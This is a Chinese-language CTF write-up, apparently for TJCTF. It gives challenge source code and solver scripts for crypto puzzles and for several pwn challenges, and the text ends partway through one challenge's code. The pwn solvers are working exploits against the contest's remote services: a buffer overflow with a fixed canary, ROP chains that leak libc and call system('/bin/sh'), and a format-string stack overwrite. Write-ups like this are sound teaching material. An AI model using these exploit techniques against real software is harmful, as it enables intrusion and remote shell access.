还以为是天津的。这个比较容易,虽然绕了点弯,可还是把CP AK了,不过我会的别人也会,还是没啥名次。记录一下吧。
Crypto
bacon-bits
with open('flag.txt') as f: flag = f.read().strip()
with open('text.txt') as t: text = t.read().strip()
baconian = {
'a': '00000', 'b': '00001',
'c': '00010', 'd': '00011',
'e': '00100', 'f': '00101',
'g': '00110', 'h': '00111',
'i': '01000', 'j': '01000', #ij j可能是i
'k': '01001', 'l': '01010',
'm': '01011', 'n': '01100',
'o': '01101', 'p': '01110',
'q': '01111', 'r': '10000',
's': '10001', 't': '10010',
'u': '10011', 'v': '10011', #uv
'w': '10100', 'x': '10101',
'y': '10110', 'z': '10111'}
text = [*text]
ciphertext = ""
for i,l in enumerate(flag):
if not l.isalpha(): continue
change = baconian[l]
ciphertext += "".join([ts for ix, lt in enumerate(text[i*5:(i+1)*5]) if int(change[ix]) and (ts:=lt.upper()) or (ts:=lt.lower())]) #python lazy boolean evaluation + walrus operator
with open('out.txt', 'w') as e:
e.write(''.join([chr(ord(i)-13) for i in ciphertext]))
把flag通过码表转成2进制位 ,再按2进制把广本转大小写再移位。有个坑是i,j是用的同一个码表,所以后边得猜一下。
a = 'BaV8hcBaTg\`XG[8eXJTfT7h7hCBa4g<`Xg[8EXjTFTWHW8Ba6XHCbATG\`Xg;8eXj4fT7h78bAV8HcBa4G\@XG[XeXJ4fTWHWXBa68hCbA4g<`8G[8e8JTFT7hWXbA6XhcBaTG'
b = ''.join([chr(ord(i)+13) for i in a])
#'OncEupOnatimeThEreWasaDuDuPOnAtImethERewaSadUdEOnCeUPoNaTimetHErewAsaDuDEoNcEUpOnATiMeThereWAsadUdeOnCEuPoNAtImEThErEWaSaDudeoNCeupOnaT'
v = ''.join(['1' if i.isupper() else '0' for i in b])
rb = {}
for i in baconian:
rb[baconian[i]]=i
flag = ''
for i in range(0,len(v),5):
flag +=rb[v[i:i+5]]
#tjctfojnkoojnkooojnkoooojnk
#tjctf{oinkooinkoooinkooooink}
alchemist-recipe
import hashlib
SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8
def glorbulate_sprockets_for_bamboozle(blorbo):
zing = {}
yarp = hashlib.sha256(blorbo.encode()).digest()
zing['flibber'] = list(yarp[:WUMBLE_BAG])
zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
glimbo = list(yarp[WUMBLE_BAG+16:])
snorb = list(range(256))
sploop = 0
for _ in range(256):
for z in glimbo:
wob = (sploop + z) % 256
snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
sploop = (sploop + 1) % 256
zing['drizzle'] = snorb
return zing
def scrungle_crank(dingus, sprockets):
if len(dingus) != WUMBLE_BAG:
raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")
zonked = bytes([sprockets['drizzle'][x] for x in dingus]) #查表
quix = sprockets['twizzle']
splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
wiggle = sprockets['flibber']
waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
zort = [oof for _, oof in waggly]
plunk = [0] * WUMBLE_BAG
for y in range(WUMBLE_BAG):
x = zort[y]
plunk[y] = splatted[x]
return bytes(plunk)
def snizzle_bytegum(bubbles, jellybean):
fuzz = WUMBLE_BAG - (len(bubbles) % WUMBLE_BAG)
if fuzz == 0:
fuzz = WUMBLE_BAG
bubbles += bytes([fuzz] * fuzz) #padding
glomp = b""
for b in range(0, len(bubbles), WUMBLE_BAG):
splinter = bubbles[b:b+WUMBLE_BAG]
zap = scrungle_crank(splinter, jellybean)
glomp += zap
return glomp
def main():
try:
with open("flag.txt", "rb") as f:
flag_content = f.read().strip()
except FileNotFoundError:
print("Error: flag.txt not found. Create it with the flag content.")
return
if not flag_content:
print("Error: flag.txt is empty.")
return
print(f"Original Recipe (for generation only): {flag_content.decode(errors='ignore')}")
jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
encrypted_recipe = snizzle_bytegum(flag_content, jellybean)
with open("encrypted.txt", "w") as f_out:
f_out.write(encrypted_recipe.hex())
print(f"\nEncrypted recipe written to encrypted.txt:")
print(encrypted_recipe.hex())
if __name__ == "__main__":
main()
好长的代码,这个命名好长。虽然很恶心,可还得一点点弄,把两个函数逆一下就OK,并不是多难。
jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
def r_scrungle_crank(dingus, sprockets):
print(dingus.hex())
#3排序
wiggle = sprockets['flibber']
waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
zort = [oof for _, oof in waggly]
plunk = [0] * WUMBLE_BAG
for y in range(WUMBLE_BAG):
x = zort[y]
plunk[x] = dingus[y]
print(bytes(plunk).hex())
#2
quix = sprockets['twizzle']
splatted = bytes([plunk[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
print(splatted.hex())
#1
zonked = bytes([sprockets['drizzle'].index(x) for x in splatted]) #查表
print(zonked.hex())
return bytes(zonked)
def r_snizzle_bytegum(bubbles, jellybean):
glomp = b""
for b in range(0, len(bubbles), WUMBLE_BAG):
splinter = bubbles[b:b+WUMBLE_BAG]
zap = r_scrungle_crank(splinter, jellybean)
glomp += zap
return glomp
bubbles = bytes.fromhex('b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ecb316e11d9a99c7e87b09e')
r_snizzle_bytegum(bubbles, jellybean)
#tjctf{thank_you_for_making_me_normal_again_yay}
theartofwar
这些单词好像都不认识。
from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import time
flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)
e = getPrime(8)
print(f'e = {e}')
def generate_key():
p, q = getPrime(256), getPrime(256)
while (p - 1) % e == 0:
p = getPrime(256)
while (q - 1) % e == 0:
q = getPrime(256)
return p * q
for i in range(e):
n = generate_key()
c = pow(m, e, n)
print(f'n{i} = {n}')
print(f'c{i} = {c}')
一个低加密指数的RSA,用CRT求解
cs = [eval(f'c{i}') for i in range(229)]
ns = [eval(f'n{i}') for i in range(229)]
m = crt(cs,ns)
long_to_bytes(iroot(m,e)[0])
#tjctf{the_greatest_victory_is_that_which_require_no_battle}
seeds
from pwn import *
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class RandomGenerator:
def __init__(self, seed = None, modulus = 2 ** 32, multiplier = 157, increment = 1):
if seed is None:
seed = time.asctime()
if type(seed) is int:
self.seed = seed
if type(seed) is str:
self.seed = int.from_bytes(seed.encode(), "big")
if type(seed) is bytes:
self.seed = int.from_bytes(seed, "big")
self.m = modulus
self.a = multiplier
self.c = increment
def randint(self, bits: int):
self.seed = (self.a * self.seed + self.c) % self.m
result = self.seed.to_bytes(4, "big")
while len(result) < bits // 8:
self.seed = (self.a * self.seed + self.c) % self.m
result += self.seed.to_bytes(4, "big")
return int.from_bytes(result, "big") % (2 ** bits)
def randbytes(self, len: int):
return self.randint(len * 8).to_bytes(len, "big")
用时间作种子就等于告诉了 KEY,直接弄下来即可。
#1--------------------
context.log_level = 'debug'
p = remote('tjc.tf', 31493)
print(time.asctime())
r = RandomGenerator()
key = r.randbytes(32)
print(key)
p.recvline()
print(p.recvline())
p.close()
#2--------------
key = b'\xc7\x8e\xca\x82b\x921\xbbs\xa8\x7f\xb0\xeeVN\xf1*\xeei\xceT6\xe3W\xa5\xa9l\\\x98\xe7tm'
enc = b'I<B\x8f7\x1a\x9d\xba\xcb=Dz8\x97\xe9c\xb7\xaf\x15\x01\xf4\xd9\xd9\xc2\x83jm\x1a\xa2\xda\x10\xb5'
cipher = AES.new(key, AES.MODE_ECB)
cipher.decrypt(enc)
#b'tjctf{h4rv3st_t1me}\n\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
close-secrets
import random
from random import randint
import sys
from Crypto.Util import number
import hashlib
def encrypt_outer(plaintext_ords, key):
cipher = []
key_offset = key % 256
for val in plaintext_ords:
if not isinstance(val, int):
raise TypeError
cipher.append((val + key_offset) * key)
return cipher
def dynamic_xor_encrypt(plaintext_bytes, text_key_bytes):
encrypted_ords = []
key_length = len(text_key_bytes)
if not isinstance(plaintext_bytes, bytes):
raise TypeError
for i, byte_val in enumerate(plaintext_bytes[::-1]):
key_byte = text_key_bytes[i % key_length]
encrypted_ords.append(byte_val ^ key_byte)
return encrypted_ords
def generate_dh_key():
p = number.getPrime(1024)
g = number.getPrime(1024)
a = randint(p - 10, p)
b = randint(g - 10, g)
u = pow(g, a, p)
v = pow(g, b, p)
key = pow(v, a, p)
b_key = pow(u, b, p)
if key != b_key:
sys.exit(1)
return p, g, u, v, key
def generate_challenge_files(flag_file="flag.txt", params_out="params.txt", enc_flag_out="enc_flag"):
try:
with open(flag_file, "r") as f:
flag_plaintext = f.read().strip()
except FileNotFoundError:
sys.exit(1)
flag_bytes = flag_plaintext.encode('utf-8')
p, g, u, v, shared_key = generate_dh_key()
xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()
xor_key_bytes = xor_key_str.encode('utf-8')
intermediate_ords = dynamic_xor_encrypt(flag_bytes, xor_key_bytes)
final_cipher = encrypt_outer(intermediate_ords, shared_key)
with open(params_out, "w") as f:
f.write(f"p = {p}\n")
f.write(f"g = {g}\n")
f.write(f"u = {u}\n")
f.write(f"v = {v}\n")
with open(enc_flag_out, "w") as f:
f.write(str(final_cipher))
if __name__ == "__main__":
try:
with open("flag.txt", "x") as f:
f.write("tjctf{d3f4ult_fl4g_f0r_t3st1ng}")
except FileExistsError:
pass
generate_challenge_files()
越往后越简单,这个未知变量a的范围太小了,直接爆破出来即可。
for a in range(p-10,p):
if u == pow(g,a,p):
break
key = pow(v,a,p)
xor_key_str = hashlib.sha256(str(key).encode()).hexdigest()
xor_key_bytes = xor_key_str.encode('utf-8')
#key_offset = 0
enc = ...
enc = [i//key for i in enc]
v = xor(bytes(enc),xor_key_bytes)[::-1]
#b"&#(64#5.!m>af['25d0]#i3vqYqa6xf#rtjctf{sm4ll_r4ng3_sh0rt_s3cr3t}"
#tjctf{sm4ll_r4ng3_sh0rt_s3cr3t}
dotdotdotv2
import numpy as np
import random
import sys
sys.stdin = open("flag.txt", "r")
sys.stdout = open("encoded.txt", "w")
n = 64
filler = "In cybersecurity, a CTF (Capture The Flag) challenge is a competitive, gamified event where participants, either individually or in teams, are tasked with finding and exploiting vulnerabilities in systems to capture hidden information known as flags. These flags are typically used to score points. CTFs test skills in areas like cryptography, web security, reverse engineering, and forensics, offering an exciting way to learn, practice, and showcase cybersecurity expertise. This flag is for you: "
flag = input()
flag = filler+flag
flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
flag = flag + "0"*(n-len(flag)%n)
flag = np.array([list(map(int,list(flag[i:i+n]))) for i in range(0, len(flag), n)])
key = np.array([[random.randint(0,0xdeadbeef) for _ in range(n)] for _ in range(n)])
for i in flag: print(*list(np.dot(i,key)))
矩阵乘法的题,但不大全,前边只能弄到63*64差一个,猜最后一组为}+pad,就够64了,解出key后再用除法得到原文里的flag,不过好像其中差了一位,猜是最后一个字符差1位,手工补上。
#猜padding 7字节
C = matrix(ZZ, c[:63]+c[-1:])
C2 = matrix(ZZ,c)
if 1:
flag = filler+'tjct'+'}'+chr(0)*7
flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
flag = [[int(i) for i in flag[i:i+n]] for i in range(0, len(flag), n)]
m = matrix(ZZ,flag)
try:
key = m.solve_right(C)
m2 = C2/key
v = ''
for i in m2:
for j in i:
v+=str(j)
m3 = ''.join([chr(int(v[i:i+8],2)) for i in range(0,len(v),8)])
print(m3.encode())
except:
pass
#b'In cybeRsecuritY, a CTF\x00(CapturE The FlAg) chalLenge is\x00a compeTitive, Gamified\x00event wHere parTicipantS, eitheR indiviDually oR in teaMs, are Tasked wIth findIng and ExploitiNg vulneRabilitiEs in syStems to\x00capture\x00hidden InformatIon knowN as flaGs. ThesE flags Are typiCally usEd to scOre poinTs. CTFs\x00test skIlls in Areas liKe cryptOgraphy,\x00web secUrity, rEverse eNgineeriNg, and ForensicS, offerIng an eXciting Way to lEarn, prActice, And showCase cybErsecuriTy experTise. THis flag\x00is for You: tjcTf{us3fu\x128931295\x13}\x00\x00\x00\x00\x00\x00\x00'
#第8字节第3位 v v
tjcTf{us3fu\x128931295\x13} #第3位加1 01010100->01110100
tjctf{us3fu289312953}
pseudo-secure
#!/usr/local/bin/python
import random
import base64
import sys
import select
class User:
def __init__(self, username):
self.username = username
self.key = self.get_key()
self.message = None
def get_key(self):
username = self.username
num_bits = 8 * len(username)
rand = random.getrandbits(num_bits)
print(rand)
rand_bits = bin(rand)[2:].zfill(num_bits)
username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])
xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])
xor_result = int(xor_bits, 2)
shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5A
byte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')
key = base64.b64encode(byte_data).decode('utf-8')
return key
def set_message(self, message):
self.message = message
def input_with_timeout(prompt="", timeout=10):
sys.stdout.write(prompt)
sys.stdout.flush()
ready, _, _ = select.select([sys.stdin], [], [], timeout)
if ready:
return sys.stdin.buffer.readline().rstrip(b'\n')
raise Exception
input = input_with_timeout
flag = open("flag.txt").read()
assert len(flag)%3 == 0
flag_part1 = flag[:len(flag)//3]
flag_part2 = flag[len(flag)//3:2*len(flag)//3]
flag_part3= flag[2*len(flag)//3:]
admin1 = User("Admin001")
admin2 = User("Admin002")
admin3 = User("Admin003")
admin1.set_message(flag_part1)
admin2.set_message(flag_part2)
admin3.set_message(flag_part3)
user_dict = {
"Admin001": admin1,
"Admin002": admin2,
"Admin003": admin3
}
print("Welcome!")
logged_in = None
user_count = 3
MAX_USERS = 200
while True:
if logged_in is None:
print("\n\n[1] Sign-In\n[2] Create Account\n[Q] Quit")
inp = input().decode('utf-8').strip().lower()
match inp:
case "1":
username = input("Enter your username: ").decode('utf-8')
if username in user_dict:
user = user_dict[username]
key = input("Enter your sign-in key: ").decode('utf-8')
if key == user.key:
logged_in = user
print(f"Logged in as {username}")
else:
print("Incorrect key. Please try again!")
else:
print("Username not found. Please try again or create an account.")
case "2":
if user_count >= MAX_USERS:
print("Max number of users reached. Cannot create new account.")
else:
username = input("Select username: ").decode('utf-8')
if username in user_dict:
print(f"Username '{username}' is already taken!")
else:
user_dict[username] = User(username)
user_count += 1
print(f"Account successfully created!\nYour sign-in key is: {user_dict[username].key}")
case "q":
sys.exit()
case _:
print("Invalid option. Please try again.")
else:
print(f"Welcome, {logged_in.username}!")
print("\n\n[1] View Message\n[2] Set Message\n[L] Logout")
inp = input().decode('utf-8').strip().lower()
match inp:
case "1":
print(f"Your message: {logged_in.message}")
case "2":
new_message = input("Enter your new message: ").decode('utf-8')
logged_in.set_message(new_message)
print("Message updated successfully.")
case "l":
print(f"Logged out from {logged_in.username}.")
logged_in = None
case _:
print("Invalid option. Please try again.")
python伪随机数预测的题,只需要输入一个足够长的用户名,得到加密用的随机数就能恢复前边的密码。
from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor
from base64 import b64decode
from Crypto.Util.number import bytes_to_long
context.log_level = 'debug'
class User:
def __init__(self, username):
self.username = username
self.message = None
def get_key(self, rand):
username = self.username
num_bits = 8 * len(username)
#rand = random.getrandbits(num_bits)
rand_bits = bin(rand)[2:].zfill(num_bits)
username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])
xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])
xor_result = int(xor_bits, 2)
shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5A
byte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')
key = base64.b64encode(byte_data).decode('utf-8')
return key
def set_message(self, message):
self.message = message
p = remote('tjc.tf', 31400)
p.sendlineafter(b"[Q] Quit", b'2')
p.sendlineafter(b"Select username: ", b'A'*624*4)
p.recvuntil(b"key is: ")
key = b64decode(p.recvline().strip().decode())
print(key.hex())
'''
>>> a = User('abcdefgh')
13741322219964608806
>>> b = base64.b64decode(a.key)
>>> c = bytes_to_long(b)
>>> ((c^0x5a)>>3)^bytes_to_long(b'abcdefgh')
13741322219964608806
'''
key = ((bytes_to_long(key)^0x5A)>>3)^bytes_to_long(b'A'*624*4)
predictor = ExtendMT19937Predictor()
predictor.setrandbits(key, 32*624)
_ = [predictor.backtrack_getrandbits(32) for i in range(624)]
rs = [predictor.backtrack_getrandbits(64) for i in range(3)]
ns = [User("Admin003"),User("Admin002"),User("Admin001")]
ks = [ns[i].get_key(rs[i]) for i in range(3)]
for i in range(3):
p.sendlineafter(b"[Q] Quit", b'1')
p.sendlineafter(b"Enter your username: ", ns[i].username.encode())
p.sendlineafter(b"Enter your sign-in key: ", ks[i].encode())
p.sendlineafter(b"Logout", b'1')
p.sendlineafter(b"Logout", b'l')
p.close()
#tjctf{1_gu3ss_h1nds1ght_15_20/20}
double-trouble
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
def gen():
myrandom = random.Random(42)
k1 = myrandom.randbytes(8)
choices = list(myrandom.randbytes(6))
print(bytes(choices))
k2 = b''
for _ in range(8):
k2 += bytes([choices[random.randint(0, 3)]])
return k1, k2
def enc(data, k1, k2, k3, k4):
key1 = k1+k2
cipher = AES.new(key1, mode=AES.MODE_ECB)
ct1 = cipher.encrypt(pad(data, 16))
key2 = k4+k3
cipher = AES.new(key2, mode=AES.MODE_ECB)
ct2 = cipher.encrypt(ct1)
return ct2
k1, k2 = gen()
k3, k4 = gen()
pt = b"example"
with open('flag.txt') as f:
flag = f.read().encode()
with open('out.txt', "w") as f:
f.write(enc(pt, k1, k2, k3, k4).hex())
f.write("\n")
f.write(enc(flag, k1, k2, k3, k4).hex())
最后出的题差点漏了。其中k1,k3是已知的,k2,k4是通过一个固定值取的随机8位4选1*8,所以爆破一下不难,用的MITM。16+16
k1 = k3 = b'\x9dy\xb1\xa3\x7f1\x80\x1c'
choices = b'\xd1\x1ag\x06\xd6\xbd'[:4]
dic = [bytes(i) for i in itertools.product(choices,repeat=8)]
m1 = pad(b"example",16)
c1 = bytes.fromhex('7125383e330c692c75e0ee0886ec7779')
mitm_l = {}
for k2 in dic:
key1 = k1+k2
cipher = AES.new(key1, mode=AES.MODE_ECB)
ct1 = cipher.encrypt(m1)
mitm_l[ct1] = k2
for k4 in dic:
key2 = k4+k3
cipher = AES.new(key2, mode=AES.MODE_ECB)
m2 = cipher.decrypt(c1)
if m2 in mitm_l:
print('k2 = ', mitm_l[m2], '\nk4 = ', k4)
break
k2 = b'\x1a\x1a\x1a\x1agg\x1a\x06'
k4 = b'\x1ag\x1a\x1a\x06\xd1\x1a\x1a'
c2 = bytes.fromhex('9ecba853742db726fb39e748a0c5cfd06b682c8f15be13bc8ba2b2304897eca2')
key2 = k4+k3
cipher = AES.new(key2, mode=AES.MODE_ECB)
m2 = cipher.decrypt(c2)
key1 = k1+k2
cipher = AES.new(key1, mode=AES.MODE_ECB)
m = cipher.decrypt(m2)
#tjctf{m33t_in_th3_middl3}
PWN
i-love-birds
#include <stdio.h>
#include <stdlib.h>
void gadget() {
asm("push $0x69;pop %rdi");
}
void win(int secret) {
if (secret == 0xA1B2C3D4) {
system("/bin/sh");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
unsigned int canary = 0xDEADBEEF;
char buf[64];
puts("I made a canary to stop buffer overflows. Prove me wrong!");
gets(buf);
if (canary != 0xDEADBEEF) {
puts("No stack smashing for you!");
exit(1);
}
return 0;
}
手工作的canary,已知
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('tjc.tf', 31625)
p.sendlineafter(b"\n", b'\0'*0x4c+p32(0xDEADBEEF)+flat(0,0x4011c0, 0xA1B2C3D4,0, 0x4011c4))
p.sendline(b'cat flag.txt')
p.interactive()
#tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}
extra-credit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#define MAX_LEN 32
#define FLAG_FILE "./flag.txt"
#define FLAG_SIZE 256
const char *SECRET = "[REDACTED]";
void changeGrade() {
char buf[FLAG_SIZE];
memset(buf, 0, FLAG_SIZE);
FILE *f = fopen(FLAG_FILE, "r");
if (f == NULL) {
printf("Missing flag file. \n");
} else {
fgets(buf, FLAG_SIZE, f);
printf("\n");
printf("Whose grade would you like to change?");
printf("\n");
write(STDOUT_FILENO, buf, strlen(buf));
printf("\n");
}
exit(0);
}
void accessMemory() {
struct timespec ts = {.tv_sec = 0, .tv_nsec = 5000000};
nanosleep(&ts, NULL);
}
void authenticateTeacher() {
char input[MAX_LEN];
printf("\n[TEACHER VIEW] Enter your password [a-z, 0-9]:");
scanf("%31s", input);
for (int i = 0; i < strlen(SECRET); i++) {
accessMemory();
if (input[i] != SECRET[i]) break;
accessMemory();
}
if (strcmp(input, SECRET) == 0) {
printf("\nAccess granted.\n");
changeGrade();
} else {
printf("\nInvalid password!\n");
}
}
void showGrade(int id) {
switch ((short)id) {
case 1: printf("Phineas: A+\n"); break;
case 2: printf("Ferb: A\n"); break;
case 3: printf("Candace: B+\n"); break;
case 4: printf("Buford: C\n"); break;
case 5: printf("Baljeet: A+\n"); break;
case 6: printf("Isabella: A\n"); break;
case 7: printf("Perry: P\n"); break;
case 8: printf("Doofenshmirtz: D\n"); break;
case 9: printf("Jeremy: B\n"); break;
case 10: printf("Vanessa: A-\n"); break;
case 0x0BEE:
printf("\nAccessing teacher view...\n");
authenticateTeacher();
break;
default:
printf("Unknown student ID.\n");
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
int id;
printf("Welcome to the Tri-State Grade Viewer\n");
printf("Enter your student ID: ");
if (scanf("%d", &id) != 1 || id > 10) {
printf("Invalid student ID.\n");
int ch;
while ((ch = getchar()) != '\n' && ch != EOF);
exit(0);
}
showGrade(id);
return 0;
}
明显是个侧信道,可是两次时间差是0.01秒,但远程的误差是0.2秒多,所以爆破不出来,然后猜会不会给的程序就是真的运行的程序呢,那密码就已知了,一试成。
from pwn import *
import time
context(arch='amd64', log_level='debug')
def sss(head, t):
#p = process('./gradeViewer')
p = remote('tjc.tf', 31624)
p.sendlineafter(b"Enter your student ID: ", str(0x80000bee).encode())
p.sendlineafter(b"[a-z, 0-9]:", head.encode())
p.recvuntil(b"\nInvalid password!\n", timeout=30)
p.interactive()
sss('f1shc0de',0)
#tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}
city-planning
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
typedef struct {
char name[32];
int numAcres;
int coordinates[2];
} buildingPlan;
typedef struct {
int numAcres;
int coordinates[2];
int entryCode[8];
} HQPlan;
bool approvePlan(buildingPlan *plan) {
if (plan->numAcres >= 10) {
free(plan);
plan = NULL;
return false;
}
if (plan->coordinates[0] >= 200 || plan->coordinates[1] >= 200) {
free(plan);
plan = NULL;
return false;
}
return true;
}
bool approveHQ(HQPlan *plan) {
if (plan->numAcres >= 100) {
free(plan);
plan = NULL;
return false;
}
if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) {
free(plan);
plan = NULL;
return false;
}
return true;
}
int main() {
char buf[32];
setbuf(stdout, NULL);
HQPlan *superSecretHQ = malloc(sizeof(HQPlan));
superSecretHQ->numAcres = rand() % 100 + 10;
superSecretHQ->coordinates[0] = rand() % 150 + 50;
superSecretHQ->coordinates[1] = rand() % 150 + 50;
for (int i = 0; i < 8; i++) {
superSecretHQ->entryCode[i] = rand() % 100;
}
approveHQ(superSecretHQ); #10%概率会被free掉
printf("Welcome to the city planner! You are allowed to plan one building for the city\n");
buildingPlan *currentBuilding = malloc(sizeof(buildingPlan));
printf("Enter the name of your building: ");
fgets(buf, 32, stdin);
memcpy(currentBuilding->name, buf, 32);
printf("Enter the size of your building (in acres): ");
fgets(buf, 32, stdin);
currentBuilding->numAcres = atoi(buf);
printf("Enter the east-west coordinate or your building (miles east of the city center): ");
fgets(buf, 32, stdin);
currentBuilding->coordinates[0] = atoi(buf);
printf("Enter the north-south coordinate or your building (miles north of the city center): ");
fgets(buf, 32, stdin);
currentBuilding->coordinates[1] = atoi(buf);
if (!approvePlan(currentBuilding)) {
printf("Your building was not approved :(\n");
return 1;
}
printf("Your building was approved! Construction will begin within the next 27 years\n\n");
printf("Since your building was approved, you must be a great architect.\n");
printf("Because of this, we'd like to invite you to join the Super Secret Architect's Guild!\n");
printf("To join the guild, all you have to do is find the planned coordinates of our headquarters\n");
int guess[2];
printf("Enter the east-west coordinate: ");
fgets(buf, 32, stdin);
guess[0] = atoi(buf);
printf("Enter the north-south coordinate: ");
fgets(buf, 32, stdin);
guess[1] = atoi(buf);
if (guess[0] != superSecretHQ->coordinates[0] || guess[1] != superSecretHQ->coordinates[1]) {
printf("Incorrect guess\n");
return 1;
}
printf("Correct! Welcome to the guild!");
FILE *flagFile = fopen("flag.txt", "r");
char flag[32];
fgets(flag, 32, flagFile);
printf("Here is the password to enter guild HQ: %s", flag);
return 0;
}
很长的代码其实都没有用,先生成个密码然后有一定概率被free掉再生成块形成覆盖就能得到覆盖掉密码
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('tjc.tf', 31489)
p.sendlineafter(b"Enter the name of your building: ",b'\0'*30)
p.sendline(b'0')
p.sendline(b'0')
p.sendline(b'0')
p.sendline(b'0')
p.sendline(b'0')
p.interactive()
#tjctf{a_tru3_4rchit3ct_2erg4b5}
wrong-warp
代码很乱,菜单来回套,其中有一个有溢出。直接去溢出就行了。
from pwn import *
import time
context(arch='amd64', log_level='debug')
elf = ELF('./heroQuest')
#p = process('./heroQuest')
#gdb.attach(p, "b*0x40141f\nc")
p = remote('tjc.tf', 31365)
p.sendlineafter(b"First, enter the name for your save file! ",b'/bin/sh\0') #0x4040a0
p.sendlineafter(b"You can go (n)orth, (e)ast, (s)outh, or (w)est. ",b' w')
p.sendlineafter(b"Options: (a)sk about the castle, (f)ight villagers, (r)est at the inn to save, or (g)o back ", b' r')
#p.sendline(b'')
save = elf.sym['save']
pop_rdi = 0x00000000004017ab # pop rdi ; ret
p.sendlineafter(b'You decide to take a rest. Enter the name for your save file: ', flat(b'a'*0x20, 0, pop_rdi, 0x404018, elf.plt['puts'], save))
libc_base = u64(p.recvline()[:-1]+b'\0\0') - 0x87be0
print(hex(libc_base))
system = libc_base + 0x58750
p.sendline(flat(b'a'*0x20, 0, pop_rdi+1, pop_rdi, 0x4040a0, system))
p.interactive()
#tjctf{up_up_d0wn_d0wn_l3ft_r1ght_l3ft_r1ght_b_a}
buggy
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#define DEBUG true
int main(int argc, char **argv) {
char inputBuffer[1024];
unsigned int balance = 50;
setbuf(stdout, NULL);
if (DEBUG) {
printf("%p, %p\n", &inputBuffer, &balance);
}
puts("Welcome to TJ Bank!");
while (true) {
printf("What would you like to do? (view balance|deposit|withdraw|transfer|exit) ");
fgets(inputBuffer, 1024, stdin);
if (strcmp(inputBuffer, "view balance\n") == 0) {
printf("Your balance is $%u\n", balance);
} else if (strcmp(inputBuffer, "deposit\n") == 0) {
printf("Enter amount: ");
fgets(inputBuffer, 1024, stdin);
if (DEBUG) {
printf(inputBuffer); //-----------------------
}
int amount = atoi(inputBuffer);
balance += amount;
printf("$%u added to account\n", amount);
} else if (strcmp(inputBuffer, "withdraw\n") == 0) {
printf("Enter amount: ");
fgets(inputBuffer, 1024, stdin);
if (DEBUG) {
printf(inputBuffer);
}
int amount = atoi(inputBuffer);
if (amount > balance) {
puts("Balance too low to continue. Aborting.");
continue;
}
balance -= amount;
printf("$%u removed from account\n", amount);
} else if (strcmp(inputBuffer, "transfer\n") == 0) {
printf("Enter account number for transfer: ");
fgets(inputBuffer, 1024, stdin);
int accountNumber = atoi(inputBuffer);
printf("Enter amount: ");
fgets(inputBuffer, 1024, stdin);
int amount = atoi(inputBuffer);
if (amount > balance) {
puts("Balance too low to continue. Aborting.");
continue;
}
balance -= amount;
printf("$%u transferred to account number %u\n", amount, accountNumber);
} else if (strcmp(inputBuffer, "exit\n") == 0) {
break;
} else {
puts("Please enter a valid option");
}
}
return 0;
}
两个菜单里都有格式化字符串漏洞。而且很长,直接改ROP
from pwn import *
context(arch='amd64', log_level='debug')
def sss(v):
p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'deposit')
p.sendlineafter(b"Enter amount: ", v)
#p = process('./chall')
p = remote('tjc.tf', 31363)
stack = int(p.recvuntil(b',', drop=True),16) +0x418
sss(b"%143$p")
libc_base = int(p.recvline(),16) - 0x2a1ca
print(f"{libc_base = :x}")
pop_rdi = libc_base + 0x000000000010f75b # pop rdi ; ret
system = libc_base + 0x58750
bin_sh = libc_base + 0x1cb42f
sss(fmtstr_payload(12,{stack: pop_rdi+1, stack+8:pop_rdi, stack+0x10:bin_sh, stack+0x18:system}))
p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'exit')
p.interactive()
#tjctf{sys_c4ll3d_l1nux_294835}
linked
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <stdbool.h>
struct event {
int time;
char name[128];
struct event *next;
};
struct eventList {
int size;
struct event *head;
};
void displayEvents(struct eventList *events) {
puts("Calendar events:");
